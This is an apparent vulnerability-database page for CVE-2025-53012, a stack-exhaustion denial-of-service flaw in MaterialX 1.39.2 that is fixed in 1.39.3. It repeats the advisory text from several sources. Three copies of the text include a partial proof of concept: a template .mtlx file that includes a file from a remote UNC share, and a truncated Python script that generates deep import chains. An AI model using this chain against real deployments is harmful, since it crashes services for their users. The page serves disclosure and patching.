CVE-2025-53012
MaterialX's Lack of Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.5
MaterialX's Lack of Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.
- Record
CVE-2025-53012- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
EUVDEUVD-2025-23394
5.5
MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.
- Record
EUVD-2025-23394- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qc2h-74x3-4v3w
5.5
MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
Summary
Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.
Details
The MaterialX specification supports importing other files by using XInclude tags.
When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.
However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.
PoC
This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.
Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.
In order to reproduce this test, please follow the steps below:
- Compile or download the MaterialXView application in a Windows machine
- In a separate Linux machine in the same local network, install the
impacketpackage (the documentation of the package suggests usingpipx, as inpython3 -m pipx install impacket). - In the Linux machine, create a file named
template.mtlxwith the following content:
<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
<xi:include href="\\\\{ip}\\{name}.mtlx"/>
<surfacematerial name="Aluminum_Brushed" type="material">
<input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
</surfacematerial>
<open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
<input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
<input name="base_metalness" type="float" value="1.0" />
<input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
<input name="specular_roughness" type="float" value="0.2" />
<input name="specular_roughness_anisotropy" type="float" value="0.9" />
</open_pbr_surface>
</materialx>
- In the same directory, create a file named
script.pywith the following content:
import argparse
import uuid
import os
from pathlib import Path
MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024
def uuid_generator(count):
for _ in range(count):
yield str(uuid.uuid4())
def get_dir_and_file_count(total_files):
num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
if num_dirs > MAX_DIRECTORIES:
raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
return num_dirs
def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
with open(template_path, 'r') as f:
template_content = f.read()
Path(output_dir).mkdir(parents=True, exist_ok=True)
dir_count = get_dir_and_file_count(num_iterations)
dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
for dir_uuid in dir_uuids:
Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
uuid_gen = uuid_generator(num_iterations)
next_uuid = next(uuid_gen)
first_file_path = None
for i in range(num_iterations):
current_uuid = next_uuid
next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
dir_index = i // MAX_FILES_PER_DIR
dir_uuid = dir_uuids[dir_index]
if next_uuid != "FINAL":
next_dir_index = (i + 1) // MAX_FILES_PER_DIR
next_dir_uuid =…
- Record
GHSA-qc2h-74x3-4v3w- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
NVD
5.5
MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.
- Record
CVE-2025-53012- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSV
5.5
MaterialX's Lack of Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.
- Record
CVE-2025-53012- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-qc2h-74x3-4v3w
5.5
MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
Summary
Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.
Details
The MaterialX specification supports importing other files by using XInclude tags.
When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.
However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.
PoC
This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.
Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.
In order to reproduce this test, please follow the steps below:
- Compile or download the MaterialXView application in a Windows machine
- In a separate Linux machine in the same local network, install the
impacketpackage (the documentation of the package suggests usingpipx, as inpython3 -m pipx install impacket). - In the Linux machine, create a file named
template.mtlxwith the following content:
<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
<xi:include href="\\\\{ip}\\{name}.mtlx"/>
<surfacematerial name="Aluminum_Brushed" type="material">
<input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
</surfacematerial>
<open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
<input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
<input name="base_metalness" type="float" value="1.0" />
<input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
<input name="specular_roughness" type="float" value="0.2" />
<input name="specular_roughness_anisotropy" type="float" value="0.9" />
</open_pbr_surface>
</materialx>
- In the same directory, create a file named
script.pywith the following content:
import argparse
import uuid
import os
from pathlib import Path
MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024
def uuid_generator(count):
for _ in range(count):
yield str(uuid.uuid4())
def get_dir_and_file_count(total_files):
num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
if num_dirs > MAX_DIRECTORIES:
raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
return num_dirs
def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
with open(template_path, 'r') as f:
template_content = f.read()
Path(output_dir).mkdir(parents=True, exist_ok=True)
dir_count = get_dir_and_file_count(num_iterations)
dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
for dir_uuid in dir_uuids:
Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
uuid_gen = uuid_generator(num_iterations)
next_uuid = next(uuid_gen)
first_file_path = None
for i in range(num_iterations):
current_uuid = next_uuid
next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
dir_index = i // MAX_FILES_PER_DIR
dir_uuid = dir_uuids[dir_index]
if next_uuid != "FINAL":
next_dir_index = (i + 1) // MAX_FILES_PER_DIR
next_dir_uuid =…
- Record
GHSA-qc2h-74x3-4v3w- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVPYSEC-2026-1608
5.5
MaterialX Lack of MTLX Import Depth Limit Leads to DoS (Denial-Of-Service) Via Stack Exhaustion
Summary
Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.
Details
The MaterialX specification supports importing other files by using XInclude tags.
When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.
However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.
PoC
This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.
Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.
In order to reproduce this test, please follow the steps below:
- Compile or download the MaterialXView application in a Windows machine
- In a separate Linux machine in the same local network, install the
impacketpackage (the documentation of the package suggests usingpipx, as inpython3 -m pipx install impacket). - In the Linux machine, create a file named
template.mtlxwith the following content:
<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
<xi:include href="\\\\{ip}\\{name}.mtlx"/>
<surfacematerial name="Aluminum_Brushed" type="material">
<input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
</surfacematerial>
<open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
<input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
<input name="base_metalness" type="float" value="1.0" />
<input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
<input name="specular_roughness" type="float" value="0.2" />
<input name="specular_roughness_anisotropy" type="float" value="0.9" />
</open_pbr_surface>
</materialx>
- In the same directory, create a file named
script.pywith the following content:
import argparse
import uuid
import os
from pathlib import Path
MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024
def uuid_generator(count):
for _ in range(count):
yield str(uuid.uuid4())
def get_dir_and_file_count(total_files):
num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
if num_dirs > MAX_DIRECTORIES:
raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
return num_dirs
def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
with open(template_path, 'r') as f:
template_content = f.read()
Path(output_dir).mkdir(parents=True, exist_ok=True)
dir_count = get_dir_and_file_count(num_iterations)
dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
for dir_uuid in dir_uuids:
Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
uuid_gen = uuid_generator(num_iterations)
next_uuid = next(uuid_gen)
first_file_path = None
for i in range(num_iterations):
current_uuid = next_uuid
next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
dir_index = i // MAX_FILES_PER_DIR
dir_uuid = dir_uuids[dir_index]
if next_uuid != "FINAL":
next_dir_index = (i + 1) // MAX_FILES_PER_DIR
next_dir_uuid =…
- Record
PYSEC-2026-1608- CVSS 4.0
- 5.5 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-53012 is a medium vulnerability (CVSS 5.5) in Academysoftwarefoundation Materialx, published July 31, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.96%, the 61st percentile. Fixed in materialx 1.39.3.
References
github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-qc2h-74x3-4v3w
github.com/AcademySoftwareFoundation/MaterialX/pull/2233/commits/6182c07467297416a30d148ab531d81198686dc5
github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md
github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3
nvd.nist.gov/vuln/detail/CVE-2025-53012
github.com/advisories/GHSA-qc2h-74x3-4v3w
github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53012.json
github.com/AcademySoftwareFoundation/MaterialX
pypi.org/project/materialx
Left out here: the rest of 3 source descriptions. The JSON record has them.